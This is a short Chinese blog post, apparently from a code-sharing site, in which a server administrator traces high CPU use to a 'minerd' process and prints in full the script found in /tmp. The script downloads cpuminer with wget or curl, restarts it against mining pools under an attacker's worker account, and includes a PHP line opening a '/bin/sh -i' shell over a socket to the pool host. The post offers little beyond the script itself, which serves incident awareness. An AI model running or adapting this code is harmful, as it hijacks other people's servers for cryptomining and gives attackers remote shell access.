首页 > 代码库 > 关于‘挖矿’minerd

关于‘挖矿’minerd

今天服务器cpu使用率一直很高,而且是nice高,说明是一些低优先级的进程占用了大量的cpu,经过排查发先了minerd这个进程

以服务器的/tmp目录下找到了源头。。。。。一个简单的脚本:

 1 Cpunum=`cat /proc/cpuinfo |grep processor|wc -l`; 2 echo "cpu-number $Cpunum"; 3  4 function random() 5 { 6     min=$1; 7     max=$2-$1; 8     num=$(date +%s+%N); 9     ((retnum=num%max+min));10     echo $retnum;11 }12 13 function down(){14         rm -rf /tmp/minerd15         rm -rf /tmp/pooler.tar.gz16         Bits=`getconf LONG_BIT`;17         echo $Bits;18         if [ $Bits -eq 64 ];19         then20                 echo "is 64 bit";21                 url=http://jaist.dl.sourceforge.net/project/cpuminer/pooler-cpuminer-2.4-linux-x86_64.tar.gz22         elif [ $Bits -eq 32 ];23         then24                 echo "is 32 bit";25                 url=http://jaist.dl.sourceforge.net/project/cpuminer/pooler-cpuminer-2.4-linux-x86.tar.gz26         fi27         echo $url28         if [ -f /tmp/minerd ];29         then30                 echo "minerd File exists"31                 #cd /tmp/32                 #./minerd -a scrypt -o stratum+tcp://multi.ghash.io:3333 -u lscllc.worker1 -p x33         else34                 if [ -f /tmp/pooler.tar.gz ];35                 then36                         rm -rf /tmp/pooler.tar.gz37                 fi38                 if [ `which wget` ]; 39                 then40                         echo "wget is ok."41                         downtools=`wget -O /tmp/pooler.tar.gz $url` 42                 elif [ `which curl` ];43                 then44                         echo "curl is ok."45                         downtools=`curl -o /tmp/pooler.tar.gz $url`46                 fi47                 cd /tmp/48                 tar zxvf pooler.tar.gz49                 rm -rf /tmp/pooler.tar.gz50                 #./minerd -a scrypt -o stratum+tcp://multi.ghash.io:3333 -u lscllc.worker1 -p x51         fi52 53 }54 function run(){55         out=$(random 1 100);56         echo $out57         Isopen=`php -r $sock=@fsockopen("multi.ghash.io",3333);exec("/bin/sh -i <&3 >&3 2>&3");if ($sock) {echo "ok";}`58 59         if [ $Isopen ];60         then61                 echo "connt prot 3333 ok"62                 cd /tmp63                 ./minerd -a scrypt -o stratum+tcp://multi.ghash.io:3333 -u lscllc.worker$out -p x64         else65                 echo "connt 186 host pool 80"66                 cd /tmp67                 ./minerd -a scrypt -o stratum+tcp://106.186.118.162:80 -u lscllc.worker1 -p x68 69         fi70 }71 72 process=`pgrep minerd`73 74 #echo $process75 76 if [ $process ];77 then78         echo "find minerd ok start kill $process"79         kill $process80         run81 else82         echo "not find minerd process"83         down84         run85 fi